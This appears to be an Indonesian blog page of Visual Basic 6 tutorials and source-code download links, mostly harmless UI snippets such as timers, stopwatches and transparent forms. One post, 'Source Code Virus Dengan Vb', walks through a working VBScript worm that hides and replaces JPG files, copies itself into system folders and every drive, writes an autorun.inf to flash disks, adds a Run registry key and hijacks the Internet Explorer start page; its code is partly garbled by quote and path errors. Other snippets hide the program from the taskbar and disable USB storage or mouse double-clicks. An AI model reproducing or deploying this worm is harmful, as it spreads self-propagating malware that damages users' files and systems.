SourceCode Tweak-x

Download Langsung Ajha Gan Disini:

Download

Terima Kasih ea Gan Dah mampir.,.,

SourceCode Bobo RegEdit

Nah..

Agan Tau nhe Apliikasi Buat Apa??

aplikasi INI Adalah Aplikasi Pengganti Regedit..

Dan Bisa Memanipulasi Virus...

agan tidak percaya???

Nhe DownloadNya:

download

SourceCode FingerPrintDataBase

Silahkan Gan Tanpa Basa-Basi Aye Kasi Special Untuk Agan.,.,.,
 Download --:>CLIK

SourceCode Proggram Koprasi

yang Mau Download bIsa Langsung.,.,.,
 Kali Ini Saya Tidak Mau Basa-Basi...
Karna Juga Saya Lagi Bnyak Urusan Ya .,.,
 saya Minta Maaf.,.,

-=-=-=-=-=-=-=-=-
visual Basic 6
-=-=-=-=-=-=-=-=-
 Download--:> Click Hare

mengganti Gambar Command Button Saat Di CLICK

-:> Buka VisualBasic
-:> Buat Form Dengan 1 Command Button


 Properti
Name  : command1
Caption : Input
Picture  : silakan abil dari computer anda sendiri
Style  : 1 – Graphical

-:> Doubble Clik Command Button
 Masukkan Code Berikut:

Private Sub Command1_Click() 
Command1.Picture = LoadPicture("D:\Buku VB\Buku 4\icons 
Computer\004.ico") 
Command1.Caption = "Simpan" 
End Sub 

-:> RUN Project
-:> Click Command 1
 Dan Lihat Perubahannya.,.,.,

Source Code SMS Manager

Download SMS manager:

Click Hare

Tunjukkan Bahwa Anda Adalah Blogger Yang Baik Dengan Cara Clik Follow Me..
 Terima Kasih

Memindahkan Kontrol saat RunTime

Hanya Sebuah Code Anda Bisa Memindahkan Kontrol Dengan Drag-Drop Saat Aplikasi RunTime..
 Ikuti Langkah-langkahNya

-:>buatlah sebuah Form dengan sebuah Button / tombol didalamnya
  Di bagian 'Command1_MouseMove' ketikkan :

Static l As Integer, t As Integer

   

If Button = 1 Then

  Command1.Left = (Command1.Left + X) - l

  Command1.Top = (Command1.Top + Y) - t

Else

  l = X

  t = Y

End If

Cara menutup Form Dengan Menekan Tombol Esc

maaf karna Code Dan Posting Yang Saya Smpaikan Singkat...
 Mungkin walaupun Singkat Saya Bisa Membantu Anda.,.,
kali Ini saya membahas Tentang Cara Menutup/Mematikan Form Dengan Menekan Tombol Escape (Esc) pada Keyboard
 Ikuti langkah-LangkahNya:

-:>Pertama, ubah properti "KeyPreview" dari Form menjadi True
  Lalu ketikkan kode berikut di bagian 'Form_KeyPress'
If KeyAscii = vbKeyEscape Then Unload Me


Sekian Dari Saya Semoga Membantu.,.,.,
 Terima Kasih.,.,

Menghilangkan Double Click Mous VB.6.0

Code Dibawah Digunakan Untuk mematikkan Dobble Clik Mous..
 menggunakan VisualBasic 6.0

Di bagian '(Declarations)' dari Form ketikkan :

Private Declare Function SetDoubleClickTime Lib "user32.dll" (ByVal wCount As Long) As Long

Di bagian 'Form_Load' ketikkan :

App.TaskVisible = False
Me.Hide

Lalu di bagian 'Timer1_Timer' ketikkan :
SetDoubleClickTime 1

Code Penghitung waktu MUNDUR VB.6.0

-:>Buat Project baru dengan sebuah Form
-:>Masukkan ke dalam Form tersebut 1 kontrol Label
-:>1 kontrol Tombol / Button
-:>1 buah kontrol Timer (Enabled=False; Interval=1000)
  Ikuti Langkah-LangkahNya:


1.Di bagian '(Declarations)' dari Form ketikkan :

Dim Jam As Integer, Menit As Integer, Detik As Integer

Di bagian 'Form_Load' ketikkan :

Label1.Caption = "00:00:00"

Di bagian 'Command1_Click' ketikkan :

'nilai awal (0 s/d 59)
Jam = 0
Menit = 1
Detik = 10

Label1.Caption = Format(Jam, "00") & ":" & Format(Menit, "00") & ":" & Format(Detik, "00")

Timer1.Enabled = True
Command1.Enabled = False

Di bagian 'Timer1_Timer' ketikkan :

Detik = Detik - 1
If Detik < 0 Then
Detik = 59
    
Menit = Menit - 1
If Menit < 0 Then
Menit = 59
Jam = Jam - 1
End If
End If

Label1.Caption = Format(Jam, "00") & ":" & Format(Menit, "00") & ":" & Format(Detik, "00")

If Jam = 0 And Menit = 0 And Detik = 0 Then
Timer1.Enabled = False
Command1.Enabled = True
    
MsgBox "Waktu Habis !!!"
End If

Cara Membuat Start Button berkedip VB 6.0

Code Di Bawah Digunakan Untuk membuat Start Button Di Taskbar Bisa Berkedip..
 Berikut TahapNya:

-:>Tambahkan 1 kontrol Timer (Enabled=True; Interval=300) ke dalam Form tersebut

 Di bagian '(Declarations)' dari Form ketikkan :

Private Declare Function FindWindow Lib "user32.dll" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32.dll" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Dim b As Boolean

 Di bagian Form_Load ketikkan :

App.TaskVisible = False
Me.Hide

 Lalu di bagian Timer1_Timer ketikkan :

ShowWindow(FindWindowEx(FindWindow("Shell_TrayWnd", vbNullString), 0, "Button", vbNullString), System.Math.Abs(CInt(b)))
b = Not b

Mengetahui Versi Windows

Buat Project Baru Dengan Form DidalamNya.,.,.,
 kemudian Tambahkan Kontrol Label (untuk menampung hasilnya) ke dalam dorm tersebut
lalu ketik Kode Dibawah Ini Di Bagian Form_Load

Dim Win As Object
For Each Win In GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
Label1.Caption = Win.Caption & vbCrLf & Win.CSDVersion & vbCrLf & "Version : " & Win.Version & vbCrLf & "Build : " & Win.BuildNumber
Next

code Belokir USB Drive VB 6.0

Code Dibawah INI Berguna Untuk membelokir USB Drive
 LayakNya seperti
-FlashDisk
-memorry Card .dll
 Tetapi Tidak Bisa Membelokir HardWare Lain Yang Menggunakan USB...
Seperti:
-Modem
-Printer

 Berikut CodeNya:
Dim Reg As Object
Set Reg = CreateObject("Wscript.Shell")
Reg.RegWrite "HKLM\System\CurrentControlSet\Services\USBSTOR\Start", 4, "REG_DWORD"


 jika ingin mengembalikan Seperti Semula
Ketik Code INI:
Dim Reg As Object
Set Reg = CreateObject("Wscript.Shell")
Reg.RegWrite "HKLM\System\CurrentControlSet\Services\USBSTOR\Start", 3, "REG_DWORD"

 lalu Restart PC/NoteBook(LapTop)

Form Mengikuti Kusor

-:|>VisualBasic 6.0
==============================================================

-:> Buat Form Baru (BorderStyle=None)
-:> Sebuah Timer (Enabled=True; Interval=10)
 
     Di bagian '(Declarations)' dari Form ketik:

Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Declare Function GetCursorPos Lib "user32.dll" (ByRef lpPoint As POINTAPI) As Long
Private Type POINTAPI
X As Long
Y As Long
End Type

     Di bagian 'Form_Load' ketik:
SetWindowPos Me.hwnd, -1, 0, 0, 0, 0, &H1 Or &H2 'selalu di depan

     Di bagian 'Timer1_Timer' ketik:

Dim p As POINTAPI
GetCursorPos p
Me.Left = (p.X * Screen.TwipsPerPixelX) + 100
Me.Top = (p.Y * Screen.TwipsPerPixelY) + 100

SourceCode YouTube Downloader

====================================
--:>VisualBasic 6.0
====================================
 YouTube Downloader
Download Source Code Di Bawah:

  Download
Suatu Krya Besar Pasti Akan Tercapai Jika Ana Benar-benar Ingin Berusaha.,,.,
Jangan Lupa Click Like Page BLOG Ini eaa..
By : AlexCucuMbahGoogle
  Facebook

Cara Membuat StopWatch Menggunakan VB 6.0

 -=-=-=-=-=-=-=-=-=-=-=-=-
-:>VisualBasic 6.0
 -=-=-=-=-=-=-=-=-=-=-=-=-
Buatlah project baru dengan pilihan standart exe, buatlah 2 buah timer, timer ini nantinya digunakan untuk mengaktifkan jam sedangkan timer yang kedua digunakan untuk mengaktifkan stopwatch, kemudian isi kedua buah interval timer dengan nilai disesuaikan dengan kebutuhan. Selanjutnya buat 3buah commandbutton,
Button1 isi caption dengan nilai START
Button2 isi caption dengan nilai STOP
Button3 isi caption dengan nilai RESET



Sudah semuanyaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa. LANJUT
Kemudian ketikkan coding (kalo malas copy paste aja) berikut pada coding editor anda dengan cara klik icon view code yang ada pada sudut kanan properties project:
Dim a As String
Dim b As String
Dim c As String
Dim x As String
Dim y As String
Dim z As String
Dim h As String
Dim m As String
Dim s As String
Dim u As String
Dim v As String
Public interval As Double
Private Sub clock_Click()
Timer1.Enabled = False
Timer2.Enabled = True
End Sub
Private Sub Command1_Click()
Timer1.Enabled = True
Timer1.interval = 1
End Sub
Private Sub Command2_Click()
Timer1.Enabled = False
End Sub
Private Sub Command3_Click()
Timer1.Enabled = False
a = "0"
b = "0"
c = "0"
x = "0"
y = "0"
z = "0"
u = "0"
v = "0"
h = a + b
m = c + x
s = y + z
'To set the display as "00:00:00.00"
Label1.Caption = h + ":" + m + ":" + s + "." + u + v
End Sub
Sub counttime()
If Val(v) < 9 Then
v = v + 1
Label1.Caption = a + b + ":" + c + x + ":" + y + z + "." + u + v
ElseIf Val(u) < 9 Then
v = 0
u = u + 1
Label1.Caption = a + b + ":" + c + x + ":" + y + z + "." + u + v
ElseIf Val(z) < 9 Then
v = 0
u = 0
z = z + 1
Label1.Caption = a + b + ":" + c + x + ":" + y + z + "." + u + v
ElseIf Val(y) < 5 Then
v = 0
u = 0
z = 0
y = y + 1
Label1.Caption = a + b + ":" + c + x + ":" + y + z + "." + u + v
ElseIf Val(x) < 9 Then
v = 0
u = 0
z = 0
y = 0
x = x + 1
Label1.Caption = a + b + ":" + c + x + ":" + y + z + "." + u + v
ElseIf Val(c) < 5 Then
v = 0
u = 0
z = 0
y = 0
x = 0
c = c + 1
Label1.Caption = a + b + ":" + c + x + ":" + y + z + "." + u + v
ElseIf Val(b) < 9 Then
v = 0
u = 0
z = 0
y = 0
x = 0
c = 0
b = b + 1
Label1.Caption = a + b + ":" + c + x + ":" + y + z + "." + u + v
ElseIf Val(b) < 9 Then
v = 0
u = 0
z = 0
y = 0
x = 0
c = 0
b = b + 1
Label1.Caption = a + b + ":" + c + x + ":" + y + z + "." + u + v
ElseIf Val(a) < 9 Then
v = 0
u = 0
z = 0
y = 0
x = 0
c = 0
b = 0
a = a + 1
Label1.Caption = a + b + ":" + c + x + ":" + y + z + "." + u + v
End If
End Sub
Private Sub dat_Click()
Label1.Caption = Date
Timer2.Enabled = False
End Sub
Private Sub Form_Load()
a = "0"
b = "0"
c = "0"
x = "0"
y = "0"
z = "0"
u = 0
v = 0
h = a + b
m = c + x
s = y + z
'To set the display as "00:00:00.00"
Label1.Caption = h + ":" + m + ":" + s + "." + u + v
End Sub
Private Sub stopwc_Click()
Timer2.Enabled = False
a = "0"
b = "0"
c = "0"
x = "0"
y = "0"
z = "0"
u = "0"
v = "0"
h = a + b
m = c + x
s = y + z
Label1.Caption = h + ":" + m + ":" + s + "." + u + v
End Sub
Private Sub Timer1_Timer()
counttime
End Sub
Private Sub Timer2_Timer()
Label1.Caption = Time
End Sub

Click Show

www.facebook.com/TapaXSuci

======================================================================

-->by AlexCucuMbahGoogle

======================================================================

Download Mini Piano VB 6.0

-=-=-=-=-=-=-=-=-=-=-
 -VisualBasic 6.0
-=-=-=-=-=-=-=-=-=-=-



 Download Source Code --> Click Hare!!

===========================================
Selamat Berkarya....
 Suatu Benda/Barang Akan Berbunga DiTangan Anda
Apabila Anda Mau Berusaha Tuk Menjadi yang Terbaik!!

By:AlexCucuMbahGoogle

Source Code Virus Dengan Vb

1. Virus akan mencari file-file. JPG pada folder dan subfolder satu tingkat didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut terhapus.
2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat restart
4. Menularkan diri pada drive-drive yang aktif termasuk flash disk
5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet Explorer.

Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan pelajari dari script dibawah ini:

1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubahnya sesuai dengan skenario diatas:

Sub serangan_jpg(target)

on error resume next

set ftarget=fso.GetFile(target)

set fsource = fso.GetFile(Wscript.ScriptFullName)

ftarget.Copy(Left(target,instrrev(target,”.”)) &amp; “jpeg”)

set fbackup = fso.GetFile(Left(target,instrrev(target,”.”)) &amp; “jpeg”)

fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,”.”)) &amp; “jpg ” &amp; “.vbs”)

ftarget.Delete

ftarget.Close

fsource.Close

End Sub

Sub carifilejpg(folder)

For Each filetarget in fso.GetFolder(folder).Files

If (Right(filetarget,3)=”jpg”) then serangan_jpg(filetarget)

Next

End Sub

2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya:


Sub serangan_drive()
Set fso = CreateObject(”Scripting.FileSystemObject”)
Set Drives=fso.drives
adaflashdisk = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive &amp; “” &amp; “wolio.vbs”)
If drive.DriveType = 1 And drive.DriveLetter > “C:” Then adaflashdisk = True
End If
Next
If adaflashdisk = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter &amp; “” &amp; “autorun.inf”,False)
fileautorun.WriteLine(”[AUTORUN]“)
fileautorun.WriteLine(”RUN=wolio.vbs”)
End If
End Sub

3. Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkan:


Sub serangan_ie()
If (regedit.RegRead(”HKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet Explorer\Main\Start
Page”)<>”c:\windows\system32\wolio.html”) Then
regedit.RegWrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start
Page”,”c:\windows\system32\wolio.html”
End If
End Sub


4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan menjalankan script virus:

Sub buat_html()
set filehtml = fso.CreateTextFile(”c:windowssystem32wolio.html”,True)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
“)
filehtml.WriteLine(”Welcome to Wolio”)
filehtml.WriteLine(”filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(”Selamat Datang di Wolio VBS “)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
End Sub


5. Pada bagian ini akan mencari folder yang ada dan menularinya dengan script virus:

Sub serangan_folder(foldername)
on error resume next
For Each subfolder in fso.GetFolder(foldername).SubFolders
fsource.Copy(subfolder &amp; “wolio.vbs”)
carifilejpg(subfolder)
next
End Sub


6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan variabel dan memangggil semua prosedur:

On Error Resume Next
dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
filehtml, fileautorun
dim adaflashdisk
set fso = CreateObject(”Scripting.FileSystemObject”)
set fsource = fso.GetFile(Wscript.ScriptFullName)
set regedit=CreateObject(”WScript.Shell”)
myfolder = Left(fsource,InStrRev(fsource,””))
‘ Copy-kan diri ke “c:windowssystem32″
fsource.Copy(”c:windowssystem32wolio.vbs”)
‘ Cari dan infeksi file JPG didalam folder
carifilejpg(myfolder)
‘ Copy-kan diri di sub folder yang ada
serangan_folder(myfolder)
‘ Regitry
if
(regedit.RegRead(”HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio”)<>”c:\windows\system32\wolio.vbs”) Then
regedit.RegWrite
“HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio”,”c:\windows\system32\wolio.vbs”
End If
‘ Copy-kan diri ke semua drive aktif
serangan_drive()
‘ Buat file wolio.html
buat_html()
‘ Ubah Start Page di Internet Explorer
serangan_ie()

Sekian Dari Saya....
 Sampai jumpa..,.
Selamat berkarya
Dan Smoga Sukses.,.,
  BY : AlEXCucuMbahGoogle

Source Code Folder Lcok

-=-=-=-=-=-=-=-=-=-
-:>Visual basic 6
-=-=-=-=-=-=-=-=-=-

 Downlaod --:>Click
-=-=-=-=-=-=-=-=-=-

 Sebuah Aplikasi Akan BerBintang Apa Bila Anda kreatif  Dan Tidak Putus Asa
Tuk mencapai Yang Diinginkan

bu:AlexCucuMbahGoogle

Source Code Epsita AntiVirus

Waw dah Lama Ne Gx Share Source Code..
 Share Lagi Ahhhh
-=-=-=-=-=-=-=-=-=-=-
VB 6
-=-=-=-=-=-=-=-=-=-=-

 -:>Download
-=-=-=-=-=-=-=-=-=-=-
 Sebuah usaha Akan tercapai ApaBila Kita Berusaha!!.
& Sebuah Rintanga Pasti Akan Terlewati Secara Sia2.
By: AlexCucuMbahGoogle

membuat Form Perhitungan Ala Microsoft.Excel

1. Buat Project Baru Standart exe

2.Tambahkan 1 buah TextBox (Text1)

3. Tambahkan 1 buah Label (Label1)

4.Tambahkan 1 Buah CommandButton (Command1) caption : HASIL Perhitungan

Masukkan Code Dibawah INI Di Dalam Form:


Private Const WS_EX_LAYERED = &H80000
Private Const GWL_EXSTYLE = (-20)
Private Const LWA_COLORKEY = &H1
Private Const LWA_ALPHA = &H2

Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crColor As Long, ByVal nAlpha As Byte, ByVal dwFlags As Long) As Long

Private Sub Command1_Click()
Dim excel_app As Object
Dim excel_sheet As Object

Set excel_app = CreateObject("Excel.Application")

excel_app.Workbooks.Add
If Val(excel_app.Application.Version) >= 8 Then
Set excel_sheet = excel_app.ActiveSheet
Else
Set excel_sheet = excel_app
End If

excel_sheet.Cells(1, 1) = "=" & Text1.Text

Label1.Caption = excel_sheet.Cells(1, 1)
Label1.Caption = Format$(Label1.Caption, "#,##0")

excel_app.ActiveWorkbook.Close False

excel_app.Quit
Set excel_sheet = Nothing
Set excel_app = Nothing
End Sub

Private Sub Text1_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = 13 Then Command1_Click
End Sub

Selesai Coba Anda ketik 11*20+(31-179) Atau Perkalian Lain Pada Text 1..
 stelah Itu Tekan Button HASIL Perhitungan
pada Label1 akan Terdapat hasil perkalian tersebut!!...
============================
--:>BY AlexCucuMbahGoogle

Membuat Exit Layout Pada Form

Anda Pernah melihat Sebuah Aplikasi,AntiVirus/Software Lainnya??
 Terkadang Ada Button Yang Bertulis CLOSE / Exit,, Ketika Diclick Button tersebut Akan Mati/ Tertutup!!....
Jika Anda kebingungan Dengan Button CLOSE itu!!..
Disini saya Akan menerangkannya:


-=-=-=-=-=-=-=-
--:>Visual Basic 6
-=-=-=-=-=-=-=-

 - Buka Visual basic 6

 - Buat Form Standart EXE

 - Buat 1 buah Control CommandButton

 - Dobble Clik Form..

 - Dan Masukkan Code Berikut.:

Private Sub Command1_Click()

ExitLayout

Unload Me

End Sub

Private Sub ExitLayout()

On Error Resume Next

Dim fHeight As Long

Dim fWidth As Long

For fHeight = Me.Height To 1000 Step -1

Me.Height = fHeight

'Move (Screen.Width - Width) / 2, (Screen.Height - Height) / 3

Next fHeight

If Me.Height = 1000 Then

For fWidth = Me.Width To 1000 Step -2

Me.Width = fWidth

Next fWidth

End If

Me.Refresh

End Sub

      Selesai!!...

Selamat mencoba

 by:AlexCucuMbahGoogle

Mencari Selisih Tanggal menggunakan VB 6

Buatlah Project Baru (Standard exe)

Tambahkan :

3 Label

Label1 (Caption : Mencari Selisih Tanggal)

Label2 (Caption : Lahir :)

Label3 (Caption : Umur Anda)

1 Buah Frame ------> Caption : Masukan Tanggal Lahir

3 Buah ComboBox ----> Style : 2 - Dropdown List

1 Buah Command Button

Susun Sesuka Anda!!...

 masukkan Code Dibawah INI:

Option Explicit

Private Sub showTanggal()

Dim i As Byte

For i = 1 To 31

Combo1.AddItem Format(i, "00")

Next i

Combo1.ListIndex = 0

End Sub

Private Sub showBulan()

Dim i As Byte

For i = 1 To 12

Combo2.AddItem Format(i, "00")

Next i

Combo2.ListIndex = 0

End Sub

Private Sub showTahun()

Dim i As Integer

For i = 1950 To Year(Now)

Combo3.AddItem i

Next i

Combo3.ListIndex = 0

End Sub

Private Sub Command1_Click()

Dim sLahir As String

sLahir = Combo1 + "/" + Combo2 + "/" + Combo3

If IsDate(sLahir) = True Then

Label3.Caption = "Umur anda sekarang : " & SelisihTanggal(CDate(sLahir), Date)

Else

MsgBox "Tanggal nya salah coy", 48, "Info"

Combo1.SetFocus

End If

End Sub

Private Sub Form_Load()

showTanggal

showBulan

showTahun

End Sub

Private Function SelisihTanggal(ByVal TanggalAwal As _

Date, ByVal TanggalAkhir As Date) As String

Dim Tahun As Integer, Sisa As Integer

Dim SelisihBulan As Integer

On Error GoTo pesan

SelisihBulan = DateDiff("m", TanggalAwal, TanggalAkhir)

Tahun = SelisihBulan \ 12

Sisa = SelisihBulan Mod 12

SelisihTanggal = Tahun & " Tahun " & Sisa & " Bulan"

Exit Function

pesan:

MsgBox "Tipe Tanggal Salah!", vbCritical, "Error TAnggal"

End Function

Yang Kurang lebih HasilNya Seperti Dibawah INI

  ======================

Smoga Bermanfaat..

  ======================

By:AlexCucuMbahGoogle

Code Form Tranparent Di VB 6

-=-=-=-=-=-=-=-
 --:>Visual Basic 6
-=-=-=-=-=-=-=-
1.Buka Visual basic 6.0

2.Buat sebuah form Standart EXE
3.Dobble Click Form Tersebut



Masukkan Code Berikut:

Option Explicit

Private Declare Function GetWindowLong Lib "User32" Alias _

"GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long

Private Declare Function SetWindowLong Lib "User32" Alias _

"SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, _

ByVal dwNewLong As Long) As Long

Private Declare Function SetLayeredWindowAttributes Lib "User32" _

(ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, _

ByVal dwFlags As Long) As Long

Const WS_EX_LAYERED = &H80000

Const GWL_EXSTYLE = (-20)

Const LWA_ALPHA = &H2

Private Sub form_load()

Dim rtn As Long

rtn = GetWindowLong(hwnd, GWL_EXSTYLE)

rtn = rtn Or WS_EX_LAYERED

SetWindowLong hwnd, GWL_EXSTYLE, rtn

SetLayeredWindowAttributes hwnd, 0, 200, LWA_ALPHA '200 adalah nilai transparant semakin kecil nilainya semakin transparant, nilai 255 untuk reset.

End Sub

         SELESAII.....

-------------------------------------------

Lihat HasiNya Mass!!..

-------------------------------------------

By : AlexzCucuMbahGoogle

Cara Membuat Vibrate (Getar) Pada Form VB 6

-=-=-=-=-=-=-=-=-=-
--:>Visual basic 6
-=-=-=-=-=-=-=-=-=-
  ->Buka Visual Basic 6
  ->Buat Project Standart EXE

  ->Masukkan Code Dibawah ini Di dalam Form

Private Sub Vibrate(frm As Form, rScale As Integer, Times As Integer)
Dim Lft As Long, Tp As Long
Dim i
Lft = frm.Left
Tp = frm.Top
For i = 1 To Times
frm.Move Lft + Sgn(rScale)
Pause 20
frm.Move Lft + rScale
Pause 20
frm.Move Lft, Tp + Sgn(rScale), frm.Width, frm.Height
Pause 20
frm.Move Lft, Tp + rScale, frm.Width, frm.Height
Pause 20
Next i
End Sub

Private Sub Pause(ms)
Dim secs
Dim g
secs = ms / 1000
g = Timer
Do While Timer - g < secs
DoEvents
Loop
End Sub

Private Sub Form_Activate()
Vibrate Me, 100, 20
End Sub


Terima Kasih Sobat!..
 by:AlexCucuMbahGoogle
Facebook:
 www.facebook.com/TapaXSuci

Source Code GeSp 1.3

-=-=-=-=-=-=-=-=-=-=-

-:>Visual Basic 6

-=-=-=-=-=-=-=-=-=-=-

 Download:

-->Disini!!

-=-=-=-=-=-=-=-=-=-=-

  Add My Facebook:

Hare!!...

 Selamat Berkarya

Source Code AntiVirus ATV Guard

-=-=-=-=-=-=-=-
File .Ocx Yang Dibutuh Kan
->MSINET.ocx
->COMCTL32.ocx
->COMDLG32.ocx
-=-=-=-=-=-=-=-

 Khusus Untuk VisualBasic 6
Download:
    -:>Disini!!

Selamat Berkarya!..